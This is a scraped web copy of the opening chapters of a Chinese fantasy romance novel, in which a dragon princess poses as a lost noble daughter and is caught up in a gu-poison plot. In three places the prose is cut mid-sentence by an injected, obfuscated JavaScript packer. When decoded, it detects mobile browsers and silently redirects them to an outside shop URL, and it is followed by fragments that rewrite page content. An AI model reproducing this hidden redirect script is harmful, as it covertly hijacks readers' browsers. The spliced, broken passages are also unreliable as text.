《黑月光养成手册》 1. 第 1 章 冬雪过后,银霜遍裹滁州城。 一辆马车静静地驶在雪路上。 挡风帘被掀起,露出一只雪白娇嫩的手。银色的手链缠绕食指和手腕,坠着的几朵花骨朵样式的铃铛被风吹动,清脆作响。 马儿停下脚步,嘶鸣几声,从鼻腔里喷出白气。 车夫搓了搓手,回头对马车里的人说:“小姐,林家到了。” 与此同时林府后门悄然打开,一个婆子带着两个下人和丫鬟,都穿着厚厚的棉衣。她让下人搬踏凳,却被车里的少女拒绝了,“不用了。” 先现身的是一抹淡紫色。 鸢尾花的紫,浅浅的,是少女的裙摆。旋身落地之际仿佛一朵盛放的鸢尾花。然后才是她柔软漆黑的发尾,柔顺得仿佛一匹绸缎。铃铛清脆,像从远方传来的梵音,令人心神恍惚。 少女定定地落在雪上。 她有一双堪比春水的眼睛,五官无处不透着精致。两弯眉毛像诗人的画,两瓣红唇像画匠的诗。无一处不得当的容貌,与林家老夫人年少时像足八分。 只凭这张脸就让人信服。 她的气度又是另一桩美事。长身挺拔,岿然若松。像她母亲年轻的时候,惯爱舞枪弄剑的秦二小姐从不屑向谁低下她的头。 婆子表面上无波无澜,心里实则泛起滔天巨浪。 她一定是林家流落在外的小小姐—— 婆子赶紧让丫鬟把披风拿过来,亲自帮少女披上,“小姐,老爷和老夫人在前厅等你。” 少女道了声“多谢”,将披风系带往身前拢了拢。 玄色破金披风更衬得她肤白胜雪,仙人之姿。 到了前厅,少女视线扫过一屋子的人,最终落在了像盆栽一样伫立在门厅阴影里的身影上。 “好孩子,快过来让奶奶看看。”正座上的老太太打断她的思绪。 少女走近,老夫人拉着她的手,左右仔细端详,“像,像极了,冠儿,她跟我年轻的时候简直是一个模子刻出来的。” 一旁的中年人愣怔怔地看着少女的侧脸,“像,像阿容。” 老夫人托着少女的手,“孩子,你叫什么名字?” “鱼织。”少女说完,意识到她借了别人的身份,慢了一拍,“……林鱼织。” “我看也不必滴血认亲,寻个好日子认祖归宗便是。”老夫人牵着鱼织的手,领她认人,“乖孩子,这就是你父亲,林远冠,这是你父亲的续弦赵珍娘,你唤她珍姨娘便是,这是你亲大哥……” 鱼织来之前就知道林家有哪些人了,认起来并不费力。 老夫人一开始还和颜悦色地介绍,等指到了角落里那条阴影,才拉下脸来,冷哼一声,“大好的日子,冷着脸给谁看?李巧娘,不是跟你说了别带他来吗?” 跟下人打扮差不多的女人局促地走出来,两只手慌乱地揪着衣摆,“老、老夫人,不管如何照儿也是林家人,既然是寻回小小姐的大好日子,他应当来……” “谁说他是我林家人?从他母亲不顾一切跟那穷酸书生私奔,令我林家蒙羞,被整个滁州城的人指指点点开始,他就跟林家没……” 老夫人越说越动气,竟捂着胸口重重咳嗽起来。 林远冠喊着“母亲”连忙上前搀扶,整个正厅乱作一团。 鱼织没有挪步,她看着林远冠将老夫人扶到软榻上休息,忽然感觉到一道视线落在自己身上。 她回过头。一众慌乱中,那条影子始终不动。直到天上的云去了,日光偏斜,照到他所在的位置,才露出一张棱角分明的脸。 阴鸷的眉眼,心事重重的五官,紧抿的唇,像谁欠了他一笔天大的血债。大到让他一生难忘,只能写在脸上,向所有人昭告这份忿恨。 鱼织有些恍惚。 少年的脸在她眼中,时而是当前模样,时而是一张更成熟、长开了的脸,五官线条更凌厉了,不变的是眼神。那张脸的脸颊和脖颈上都溅了鲜血,是她族人的血。 找到你了。 独孤照。 鱼织并不是林家真正的小小姐。 她是龙族,东海帝君之女,有一个姐姐叫鱼情。倘若无虞,鱼情便是下一任东海帝君。她便可以一直当没心没肺的小公主,从宿在父帝羽翼下变成宿在姐姐羽翼下。 直到那天,她无意间闯入东海海眼,在镇海龙珠旁看见了一本书。 它自称命书,为鱼织展开一副可怖的未来画卷—— 一年后,鱼情带回来一个受伤的男子。他说他叫独孤照,是疍民。官府强迫他们下海采珠,他为了自己的家人不得不深入海中,遇上海兽差点死了。 是鱼情救了他。 鱼情救了他,将他送回渔村,正遇上官差屠村。听说是他们没能呈上本应献给皇帝的东海明珠,龙颜大怒,下令捉拿偷藏明珠之人。 其实这颗明珠被县令昧下,送给了一手遮天的九千岁。将整个村子的人杀干净,是为掩人耳目、杀人灭口。 鱼情去得太晚又太早,让独孤照看到自己最后的亲人死在官兵刀下。独孤照不顾一切地冲出去跟他们拼命,身上全是刀伤。 她谨记父帝教诲,没有暴露自己的身份。 最后官兵以为独孤照死了,等他们离开之后,鱼情把血几乎流尽的独孤照带回龙宫,悉心照料,消耗自己五百年的仙力,才将他从阎罗殿拽回来。 两人于相处之中渐生情愫,为了帮独孤照续骨生筋,鱼情拔了自己的龙筋; 独孤照被妖邪魇魅纠缠,险些丧命,鱼情便拔了心口的龙鳞,护他周全; 为了能和独孤照长相厮守,她宁愿断去仙骨,成为一介凡人; 尽管如此,她还是没能救下独孤照。为了复活死去的爱人,鱼情走向诸神的坟冢,只求纵身一跃换得古神半点垂怜。 这时,她的爱人出现了。 独孤照告诉她一切都是假的,龙族灭了他全族,他是来讨债的。他还告诉了鱼情一个“好消息”:因为她,东海枯竭,龙族全都死了。 鱼情痛苦地纵身一跃,仰面落下之际听到男人亲口承认,从未爱过她,一切都是为了报仇。 等鱼织从幻象中醒来,命书告诉她,这一切注定会发生,因为龙族欠了男人一笔血债,无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275544|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何都要还清。 为了保护族人,鱼织决定,既然一定要还,那就由她来还。 思绪回到现在,鱼织困惑地看向少年。 她琉璃般透亮的眼睛里满是空白,既无知又清澈。少年似乎被她身上干净的气质吸引了,视线从乱如麻的林家人身上挪开,落到她脸上。 命书的话还在鱼织脑海中盘旋,至死不忘: “我带你回到独孤照还在人间韬光养晦之时,你若要挽救龙族,必须将龙族所欠的一切还清。打碎骨头连着筋,你的筋,骨,血,肉,都要还。并且所受痛苦是为一人承受的百倍、千倍。切记,切记,不要被他发现,更不要真的爱上他。” 独孤照今天本不打算来。 是原身的奶娘非要他来。原身的母亲本是林家三小姐,年少时与穷书生夜奔。消失七年,送回来的除了死讯就是一个半拉大的孩子。 带他回来的人叫李巧娘,受过林三小姐的恩惠,也是他的乳娘。独孤照取代他的时候,是在他们俩逃亡归林的路上。 从林家小小姐出现的那一刻,独孤照就感觉到不对劲。 她身上有龙的气味。 她是假冒的。 龙族。 独孤照袖下的手不禁攥紧了,直掐出了血来,才缓缓松开。 鱼织端详他。脸上是不加掩饰的困惑,眼瞳深处恍若幽蓝的山谷之水,浅得一眼看得到底。 她心里在想,这样阴郁的人,不知道阿姐喜欢他哪里。虽然尽量摆出一副怯懦的样子,可那眼睛,分明是吃人的狼。 “将他带过来!” 林远冠的长子林承恩怒喝下人。人群里的李巧娘面上流露出惊慌,想去拉独孤照离开,被旁边的下人推开。 下人将角落的独孤照拖到老夫人面前。 老夫人刚吃了一颗救心丹,这会儿喘过气来,跟其他人一起冷冷地看着独孤照。 独孤照紧紧抿着唇,脸上写满不服。 显然,此刻的他还不大会伪装。 “来人,拿鞭子。”林远冠像是说过许多次这话了。 李巧娘像是知道接下来会发生什么,想替独孤照挡着。被林远冠命下人拿住,拉到一旁。 下人拿来了一把竹鞭。 竹鞭的边缘已经发毛,显然不是新的。 “凭什么打我?”独孤照沉不住气。 “你还得祖母发了心疾,就该受罚!独孤照,就算你姓独孤,可只要你在林府一天,就必须守这林府的规矩!” 林远冠扬起竹鞭,一下子打在独孤照的肩膀上。 独孤照身体向下沉了一下,脊背绷紧,慢慢又直了起来。 李巧娘哭嚎着,“老爷,求您别打了,别打了!是我的错,我不应该带公子过来,您要打就打我吧!” 大儿子林承恩走上前,看了眼呆呆的鱼织,低声道:“爹,今天是妹妹回家的好日子,就算独孤照该罚,也别当着妹妹的面打他。妹妹好像吓着了。” 闻言,林远冠懊悔地放下竹鞭,“你说的是,来人,把他带回去,在老夫人院子里跪上两个时辰。” 2. 第 2 章 独孤照被拉了下去。 众人原本打算为鱼织接风洗尘,但眼下老夫人刚吃过药,身子乏困,决定回院子里休息,便先让赵珍娘带鱼织去自己的院子好好休息,过几天再议。 赵珍娘将鱼织的住处安排在老夫人院子隔壁。长廊下堆满了林家人送她的礼物,无处落脚。此外还为她安排了两个丫鬟,一个叫玉符,原本伺候老夫人的,一个叫寻瑰,是赵珍娘的贴身丫鬟。 鱼织送走赵珍娘之后便在玉符和寻瑰的伺候下洗漱一番,合衣入睡。 她闭上眼没多久,梦中便来到了一处悬崖边。天边仿佛有无尽的火焰,将层云烧得通红。崖下无边无际的焦黄土地上,枯骨和盔甲胡乱散落,长旌飘扬,无限凄凉。 这里就是诸神的坟冢。 一本发亮的书悬浮在上空,一页又一页地缓慢翻着。 鱼织抬起头,“命书,独孤照为什么不离开林家?” 命书的声音向从天上传来,不辨雌雄,“他走不了,他的命运跟真正的独孤照系在一起,只有独孤照死了,他才能重生。而他重生之时,便是你龙族消亡的起始。” 鱼织不解,“独孤照为何而死?” 命书中飞出一缕金光,没入鱼织眉心。 鱼织凭空多出了一段记忆。是真正的独孤照的命运轨迹,他一生凄惨,受尽林氏欺辱与独孤氏的蒙骗,十八岁时死于祭台之上。 “龙女鱼织,你是来替龙族还债的,如何还、怎还清,一切尽在你手。我下次出现之时,便是你死亡之时。若你至死亦无法还清命债,龙族与你都将湮灭于宇宙之中,三千世界、无尽时空中都不再有你龙族的存在……” 从远方吹来了风,狂乱地翻动书页,天空骤然暗了下来,大地尽头传来诸神陨落时的悲鸣。 鱼织被刮得张不开眼,抬手挡住额头,大声问:“我确实见到少年独孤照了,可我要怎么做才能还债?” “你已经站在他的命运线上,时候到了自然知道该怎么做……” 周遭一切开始坍塌,鱼织的身体飘了起来。 “切记,切记……” 鱼织猜到命书要交代她的事,肯定是不要爱上独孤照。这本命书似乎很喜欢断定一个女人必然会爱上一个男人,尤其当这个男人还是她不共戴天的仇人时。 “不要让他爱上你。” 鱼织倏地睁开眼。 她坐起来,看向旁边正在绣花的玉符。 玉符吓了一跳,赶紧放下绣布,“小姐,可是魇着了?” “我睡了多久?”鱼织往后靠。玉符赶紧起身拿了几个软枕给她垫腰。 “两个时辰。”玉符说,“小姐睡得很沉。” 鱼织看向窗户。屋里碳火烧得极旺,因而留了一扇角落的窗通风。通过窗缝,她看见大雪纷飞,“独孤照跪了两个时辰了吗?” “小姐真是善良。”玉符反而担忧起来,“小姐,您身份尊贵,还是不要跟独孤公子扯上关系。” 鱼织按了按眉心,命书最后说的那句话她没听着,大概是陈词滥调,“他也算间接因我受罚,玉符,你去拿点碳和吃食,送到他住处去吧。” 玉符欲言又止。 鱼织放下手,“怎么了?” 玉符:“独孤公子住在林府最偏的角落,近山湖旁。老爷说了,以湖为界,不许任何人越过湖去。” 鱼织本来想说那就放在地上,但这大雪天的,四处白雪皑皑,便是放得住也很快被雪埋了。 她想了想,“那李巧娘住在哪里?” 玉符:“她跟独孤公子住在一起,平日里便是她给独孤公子送吃的。小姐若想帮独孤公子,可以让李巧娘来院子里帮工,给她一些打赏。” 鱼织诧异:“不能直接给李巧娘银两吗?” 玉符端过来一碗热乎乎的甜汤,放到鱼织手里。 “小姐,老夫人既让玉符跟了您,往后玉符就是您的人了。往后您是林家小小姐,老夫人、老爷、夫人和公子小姐们才是您的家人。独孤公子再不好,也与我们做下人的无关。您怜悯他,玉符自然要为您分忧。” 鱼织捧着甜汤,一边喝一边发呆,“不愧是祖母身边的人。” 听了她这番话,鱼织觉得自己有些着急了。 孤独照现在十五岁,还有三年才到死期。 她刚来林府,先慢慢融入,像命书说的,时候到了自然知道该做什么。 玉符回来的时候雪已经停了。 鱼织掀开厚厚的门帘,看见李巧娘跟在她身后,连声道谢。 再次见到独孤照已是两个月后。 这两个月里鱼织将林府的人认得七七八八,赵珍娘视她如己出,两个姊妹也很好相处,两位兄长亦十分宠爱她。鱼织每天去一趟老夫人那里,陪她聊聊天吃顿饭,再去找姊妹玩,又或者由两个兄长带上街看看新奇,日子又有趣又无聊。 她偶尔也问问玉符,独孤照怎么样了。 玉符知无不言。李巧娘来到院子后,鱼织常常赏赐她吃食银两,连带着独孤照的日子也好过了些。但私底下大公子和二公子对此事极为不满,命令下人暗中蹉跎独孤照。 于是再见独孤照,明明李巧娘这些时日给他炖汤吃药补身子,人却瘦了一大圈,一身黑衣像裹尸布紧紧地贴着瘦削的身体,两袖灌风好似随时飞走。 鱼织反倒吃得脸颊都圆润了些,站在台阶上,注意到了圆拱门下的独孤照。 李巧娘立刻放下笤帚迎了上去,“照儿,你怎么来了?” 独孤照仍是一脸倔强,看见李巧娘时眼里冰霜消融了半分,“巧姨,独孤家的人来找我了。” 李巧娘愣了一下,心里生出巨大的恐惧,不由得紧紧捏住独孤照的手,“我们现在就离开这里——” 独孤照的手腕都被她捏红了,“巧姨,躲得过初一躲不过十五。” 鱼织清楚地听见他们说的话。 他是故意的,明明可以等李巧娘回去再说,偏要找到这里。老夫人禁止独孤照接近鱼织,他回去之后肯定要挨罚。 “小姐,听说独孤家的人来了,他们要接孤独公子回去。” 玉符见她一直盯着独孤照,主动开口,“李大嫂照顾他这些年,公子定是要带她一起走的。” 鱼织故作不解,“可他的父亲不是落魄书生吗?回独孤家还不如待在林家吧。” “听说公子的父亲是独孤家的旁系,独孤家乃是世家遗族,多年来隐居山林,看似寂寂无名,实则根深叶茂。他们这趟来便是带公子回去认祖归宗的。” 说话间李巧娘过来了,给鱼织跪下磕头,“小小姐,奴婢求小姐向老夫人求情,许奴婢随照儿回独孤家,他一人回去,奴婢实在放心不下……” 老夫人允许独孤照留下的条件之一,便是让李巧娘卖身给林家。她的卖身契还在老夫人手上,随意离开便是逃奴。 玉符皱了下眉,“李巧娘你这是做什么?小姐心善是不错,可你的身契在老夫人手里,你求小姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275545|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫不是要小姐为了你们与老夫人离心?” 李巧娘的头紧紧地抵在地上,声音颤抖,“奴婢不是这个意思……” 她就是这个意思。鱼织只是少与人打交道,不代表她傻。她看着李巧娘,视线缓缓落到了独孤照身上。 他拖着身体,步子像蜗牛。缓慢但还是走来了,在台阶底下,屈膝朝她跪下,头深深地埋进尘埃里,“求小姐成全,小姐的恩情,照永世不忘。” 眼前的人跟画卷里屠龙的独孤照重合了。 鱼织冷不防地打了个寒颤。这两个月的安逸生活并不能抹杀脑海中的血腥画面,她已经站在了独孤照的命运线上,从这一刻他的能屈能伸里窥见了一场不死不休的族群仇恨,明白这并非三言两语就能抹去。 “好。”鱼织答应了。 独孤照就是奔着这个结果来的,然而听到“好”字时心底里的疑虑却漫了出来。他抬起头,长长睫毛下的眼睛停留在少女莹润雪白的脸上。 · 林家人都聚在前厅。 座上是一个中年人带着三个少男少女,衣着华贵气质不凡。其他人悄悄用余光打量他们,不敢相信这般气度竟是独孤家的人。 老夫人皱了下眉头,手里虎头杖倾向旁边的婆子,“怎么还没来?” “来了,来了。”婆子说。 众人视线俱往廊下看去。 鱼织带着玉符和寻瑰,李巧娘跟独孤照跟在后面。 她向老夫人和林远冠行礼,后者起身热络地介绍道,“沛然兄,这便是我与亡妻唯一的女儿,流落在外多年,两个月前才寻回家来。” 独孤归鸿从怀里掏出一块玉,“明珠得还,实在人间一大幸事。这次来得匆忙未曾备厚礼,此玉赠与贤侄,他日至我独孤族中,必定倍加款待。” 说完给鱼织介绍那三名少男少女,“独孤氏只分长幼不分尊卑,他们都是我独孤族人,也是照儿的兄弟姐妹。此番族长遣我迎回照儿,我便也带着他们出来见见世面。” 三人拱手。年纪最大的少女十六岁,名唤独孤靖。另外两个少男叫独孤轩、独孤亭。 鱼织的目光落在独孤靖身上,定定地看了一秒就挪开,接过玉佩,“多谢独孤世伯。” 独孤靖可不是什么寻常的独孤族人。 她是独孤氏族长的女儿,也是下一任族长。更是这一代圣女,必须由她亲手献祭这一代的祭品,才能保独孤氏百年荣耀。 对真正的独孤照来说,是独孤靖将他引入万劫不复的深渊。 “独……照儿,过来。”林远冠示意孤独照上前。 李巧娘拉住独孤照的手,眼底满是恐惧。 独孤照轻轻地拍了拍她的手背,示意她不必担心,走到孤独归鸿面前。 “好孩子,我是你祖父的兄弟,快唤一声叔公。” 独孤照张口,声音低沉沙哑,“叔公。” “你受了不少苦……”孤独归鸿感慨道,“这是你靖儿姐姐,往后有她庇护,再不会有人敢欺负你。” 独孤靖安静地打量独孤照,闻言上前一步,解下腰间的赤色玉佩,“阿照,这是见面礼,你且收下。” 孤独照垂眸,看着那玉。 鱼织也在看玉佩。就是这块玉,让独孤照不能离开独孤靖百步之外,否则他就会痛不欲生,好似浑身千万只蚂蚁在爬。 蛊术。 没错,独孤氏想带孤独照回去,是为了以他入蛊,饲养出使独孤家昌盛百年的蛊王。 3. 第 3 章 独孤照还是收下了。 独孤靖很满意地点了点头,看向独孤归鸿。 众目睽睽之下还不好让独孤照中蛊,但只要过了今晚,明天独孤照一定会跟他们走。 老夫人让鱼织站在她身旁。 接下去不过是两家打太极,你来我往。虽然知道独孤照受了委屈,独孤家深明大义,表明是他的父亲对不起林家,老夫人深为受用,最后也不追究了,甚至从私库里拿出一些财物赠予独孤照。场面竟有几分诡异的温馨。 独孤归鸿感激李巧娘对独孤照的照顾,请老夫人放还身契,允其自由。老夫人也答应了。倒省了鱼织替她求情。 晚上林远冠宴请独孤族人,鱼织借口疲乏,吃饱了就回院子里去了。 她早早地洗漱睡下,嘱咐玉符和寻瑰不要打扰。等玉符吹灭了烛火阖上房门,鱼织一个翻身爬了起来。 她五指放进盥洗架上的铜盆里,盆中水缓缓飞起,凝聚成了一个人形。在法术催动下凝聚出五官,逐渐变成了鱼织的样子。 “去。”鱼织挥手。 假鱼织走到床上躺下,睡得正酣。 鱼织抹了把脸,一层水雾浅浅地覆盖在她的脸上,不管远近都看不清她的容貌。 她从窗户出去,不多时就来到了冰湖边。 雪还没化完,冰湖上仍结了一层薄薄的冰。 湖对岸有一件破木屋,寒风中孑然,偶尔发出令人牙酸的吱呀声。 鱼织吐出一口白雾,正待过湖,忽然听到脚步声。 她旋身变作一条鲤鱼,砸破冰面钻入湖中。 “他就住在这种地方?靖姐姐,他不会把玉佩卖了吧。” 是独孤轩的声音。 独孤靖一身红衣,及腰长发高高束起,英姿飒爽。 闻言瞥了独孤轩一眼,“生死蛊已经锁定了他,只要他今晚睡下,子蛊就会咬破他的手指,到时母蛊回到我这里,再吃了我的血,他便只能跟着我们回独孤家。” 独孤亭:“若是他知道被我们下了蛊呢?” 独孤靖不以为然,“知道又如何,难不成他还有别的去处?不过,看在他是十六叔所生,我会给他一场美梦,直至祭祀当日再告诉他真相的。” “可是祭祀不是从他离开林家就开始了吗?那剜心蚀骨、抽筋扒皮、割肉竭血的祭礼……” “有我在,他不会感觉到疼。”独孤靖摇摇头,“所做一切都是为了独孤氏的延续,我独孤靖并非魔鬼。” 鱼织紧紧贴着冰层,将三人对话听入耳中。 怪不得命书说时候到了,她自然知道怎么做。 独孤靖:“时候快到了,我们找个地方等待母蛊。” 踩雪声传来,慢慢远去。 鱼织游到湖对岸,撞破冰层一跃而上,变成少女模样,一步步走近木屋。 窗户被人用浆糊乱七八糟地封了起来,余下角落吹得猎猎作响。 鱼织右手掐诀,轻轻弹入一滴水珠。 水珠从角落钻入,挂在四方桌腿上,牢牢地扒住了。 她双眸微微一亮,便看得见屋内情形。 独孤照坐在床上,手中握着血玉。不知在想什么,指腹轻轻摩挲着,双眼被垂下来的碎发挡住。 一声微不可闻的“咔”。 血玉裂开,独孤照的动作停下。 他垂眸,看着那裂缝里慢慢爬出一只小指长的虫子。 虫子浑身剔透,点缀着几滴红,仿佛是血在水中晕开凝结成的冰。 它的头微微耸动,觉察到了身边的人,飞扑到了独孤照的手掌上,身体裂开一条缝,露出密密麻麻的锯齿。 即将咬下去时被另一只手捏住了。 独孤照将蛊虫提起来,仔细打量。 他的皮肤很白,手掌下慢慢变红,宛如裹着红豆的糯米团子。 蛊虫发出尖锐的鸣叫,像是快被烫熟了。 独孤照没有杀它,温度退下去的时候,蛊虫又活跃起来,张牙舞爪地寻找最近的猎物。 最终独孤照将它丢到了捏着玉佩的手背上。 蛊虫嗅了嗅,一口咬破他的皮肤。 独孤照的眉头紧紧地蹙在一起,接着松开,往后一仰倒在床上。 吃饱了他血液的蛊虫周身泛红,从伤口钻进他的皮肤。从手背到手臂,肌肤起伏,沿着血管流向他的心脏。 与此同时他的手松开,玉佩掉在地上,碎成四块。 一条更大的蛊虫从中游了出去。 它要去找独孤靖了。 鱼织右手掐诀,唇瓣轻颤。过得一会儿一粒水珠从屋里飞出,母蛊被困在水珠里动弹不得。 她凑近看母蛊,长得比子蛊大一倍,红色集中在触角上。 鱼织看了眼独孤靖三人藏身的方向,将母蛊拢入袖中,化身鲤鱼钻入冰湖,无声无息地离开此地。 过得一会儿,独孤靖走出山石,脸色难看,“我感觉不到母蛊了!” 独孤轩:“靖姐姐,你可喂了它心头血?” 喂过心头血的母蛊不会离开主人,更不会认他人为主,便是别人得了也无法驱使。 独孤靖沉默了一会儿,“只喂了指尖血。” 指尖血不如心头血,尽管母蛊也会朝她而来,却妨碍不了他人驱使母蛊。 独孤靖懊恼道,“区区一个祭品,何须用上我的心头血!” 独孤亭:“莫不是掉进冰湖里了?” 独孤轩:“靖姐姐,反正有你的血,试试找找看。” 独孤靖赞许地看了他一眼,取出寻踪蛊。蛊虫在她指尖上探头探脑,定定地指向林府内宅。 三人循着来到了一座院落。 月上树梢。 院门紧闭,独孤轩和独孤亭跃上围墙,过得一会儿出来了,“靖姐姐,里面住着林家的小小姐,就是白天见过的林鱼织。” “母蛊在里面。”独孤靖翻手收起蛊虫,“你们弄晕其他人,我去找林鱼织。” 鱼织回到屋里,将假人化水,这才坐到床边,仔细打量手中的母蛊。 早听说过凡人之中也有奇人异事,聚则为族,世代修炼,不容小觑。 不过这蛊虫怎的闻着有一股腥臭味,让鱼织想到东海深处的海渊。幼时父皇便将她和阿姐带到海渊上,告诫她不得进入。海族的腥味已经够重了,那黑漆漆的深渊底下有什么,其腥连她也受不了。 蓦地,鱼织感觉到院子里有人靠近。 她扬手唤出水镜。 鱼织从不让下人将院子里的雪扫尽,今日便派上用场了。 “这么快就找来了。”鱼织还在想怎么“恰好”被蛊虫咬了,心下生出个主意。 她将铜盆里的水都凝成冰球,将蛊虫裹在其中,随手从窗口丢了出去。 冰球掉进雪堆里,雪忽然动了起来,两团雪主动垒了起来,顶住冰球,在院子里滚动。 独孤靖正要摸进鱼织的寝屋,袖里蛊虫忽然不安分起来,滑到独孤靖手背。 它指向了另一个方向。 独孤靖皱眉。 被发现了?小贼,跑得倒快。 下一刻蛊虫又换了个方向。 它竟开始旋转起来。 独孤靖惊诧地看着蛊虫在手背上旋转,直到将它转晕了,一头栽在皮肤上起不来。 最后指着她背后。 独孤轩与独孤亭跑过来,“靖姐姐,如何,可找到母蛊了?” 独孤靖摇头,“不在此处,恐怕我们被戏弄了,听说林家人很看重林鱼织,我猜这是一个局,先离开再说。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275546|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三人离去后,窗户被轻轻推开。 雪球滚回窗下,鱼织拿起冰球,化开后迟疑了一下,将母蛊放到掌心。 母蛊咬破手掌,她感觉到一股阴冷至极的气息窜入体内,软在地上。 · 林家小小姐晕倒了。 整个院子里的人都睡过了头,日上三竿才发现鱼织昏在房内。窗洞开着,怕是有歹人闯入院中。 老夫人知道后将错都怪到独孤照头上,“天煞孤星!害死了他的爹娘还不肯,还要害我的织儿!快,快让独孤家带走,让这个天煞孤星离我们林家有多远多远!” 鱼织醒来时已近黄昏。 玉符趴在床边,见她醒了立刻跳起来,“小姐醒了!” 老夫人和林远冠跟着大夫进来,大夫替鱼织把过脉,“小姐无碍,许是受了些风寒,老夫这就开几贴药。” 鱼织只是装作林家小小姐,她是龙族,生于东海,如何会得风寒。她这么想着,忽然打了个冷颤。 冷。 她竟然感觉到了冷。 很微弱的冷感。 因为子母蛊?鱼织看向玉符,“玉符,独孤照走了吗?” 玉符还未说话,老夫人用虎头杖杵地,怒不可遏,“你还惦记着那祸害干什么!他早就走了!” 走了?不可能。莫非独孤靖的子母蛊没用?她是龙族,兴许凡人的巫蛊对她无用。 鱼织感觉冷感愈发明显了。 这时下人来通传,“老夫人,老爷,独孤家的人又回来了,他们说独孤公子晕过去了!” · 前厅。 独孤归鸿脸色铁青,视线扫过独孤靖三人。 独孤靖面露愧色,正欲开口,“二伯,此事是我疏忽,料想是那人见将我引开不成难以得手,这才把母蛊放到了林鱼织院子里……” 独孤轩替她说话,“长老,说不定母蛊并不在林鱼织那里,她只是晕倒了,也许是她自己身子骨弱。” 独孤归鸿重重地将茶杯放在桌上。 独孤轩颤抖了一下,不敢说话。 他冷笑道:“你们前脚才走,后脚林鱼织就晕倒了,天底下会有这么巧的事?阿靖,你办事不利,若是心头血喂养,岂会出这么桩事?回去之后自己领罚。” 独孤靖倒抽一口凉气,垂首拱手,“是。” 她转动眼睛,看向躺在架子上昏迷不醒的独孤照,“他体内已经有子蛊,除非解开母蛊,不然……” “只有回到族中才能解开母蛊。”独孤归鸿正想办法,听到脚步声,立刻站起身向林远冠作了一揖,“善长兄——” 林远冠脸色阴沉,指着被玉符和寻瑰搀进来坐下的鱼织,“沛然兄,请你解释清楚,小女究竟为何晕厥,与独孤照可有干系!” 独孤归鸿深吸一口气,苦叹一声,“善长兄,事情是这样的……” 鱼织接过玉符递过来的温水,一边喝一边听独孤归鸿编故事。 他虚构了一个独孤家的敌人,这仇敌害死了独孤照父母,还想对他下手。林鱼织是无妄之灾,她跟独孤照一样中了毒,阴阳毒,不可离开对方百步之外,否则一起昏厥。 这毒只有独孤一族可解,所以他们必须带林鱼织一起回独孤家。 鱼织放下茶盏,用帕子轻轻擦拭嘴角。 独孤照就是从这些人身上学到了扯谎的本事吗? 她是吸收母蛊后的反应,独孤照可是活生生疼晕过去的。 怪不得冷感变重了,独孤照的体感会传递给她。他们做戏也不做全套,大冷天的不给独孤照披麾衣。他眼下还穿着薄薄的黑衣,躺在地上像一滩烂泥。 鱼织从没觉得冷,这感觉酥酥麻麻的很怪异,她忍不住对玉符说,“玉符,把我的麾衣披到他身上。” 4. 第 4 章 众人惊骇地看着她。 鱼织哪里受过这种“委屈”,见玉符僵在那里,便扯过她搭在胳膊上的麾衣,起身拢到独孤照身上。 她将麾衣上拉,正对上一双清醒的眼睛。 一时无话。 独孤照醒过来了,他看着鱼织,显然意识到她在为自己披衣。麾衣上还残留着熏香的气味和少女的温度。 这让独孤照下意识攥紧了拳头。 不被允许的悸动会变成愤怒。 独孤照将麾衣掀开,强撑起虚弱的身体,看向独孤归鸿,“巧姨呢?” 他知道独孤家心怀鬼胎。 这份算计恰好合了他的目的,所以他不追究。 可是李巧娘不一样,她……她是个凡人。凡人都孱弱、无用,如蝼蚁。他再落魄也不会踩死一只蝼蚁。 不是独孤归鸿动的手。他看向独孤靖。 独孤靖眼下的肌肉轻轻扯了一下,露出一抹笑容,“阿照,我们给了巧姨一千两银子,她拿走自己的身契回家去了。” 撒谎。 鱼织闭上眼,她嗅到了血腥味。是李巧娘的血。有一些沾在独孤靖的袖角,还有一些在她的指甲缝里,洗干净也还有。只要是跟水有关的通通逃不过鱼织的感官。 其实随便想想就知道李巧娘应该死了。她不会丢下独孤照一人不管的,而且她似乎知道独孤家要对独孤照做什么——反正不会是好事。她怎么会抛下独孤照呢? 鱼织看向独孤照。 他的双手紧攥,嘴唇和睫毛都在颤抖。但很快平静下来,声音像拉长了的细线,“我知道了。” 痛。 鱼织诧异地捂住心口,刚刚有一瞬间好像针扎了一下心脏。看来这母蛊很不安分。 林家人回过神来。 林承恩上前将鱼织拉了起来,护在身后,“织儿,他这种人不值得你善良,离他远点,否则一定会被他害死。” 林远冠面如菜色,好不容易找回来的女儿,这才两个月又要走了,还是因为中毒,“不行,既然是你们独孤家和旁人的恩怨,凭什么扯上林家?独孤家离这足足有数千里,你让我的宝贝女儿跟你们一路颠簸?为何不能是你独孤家跋涉千里前来?” 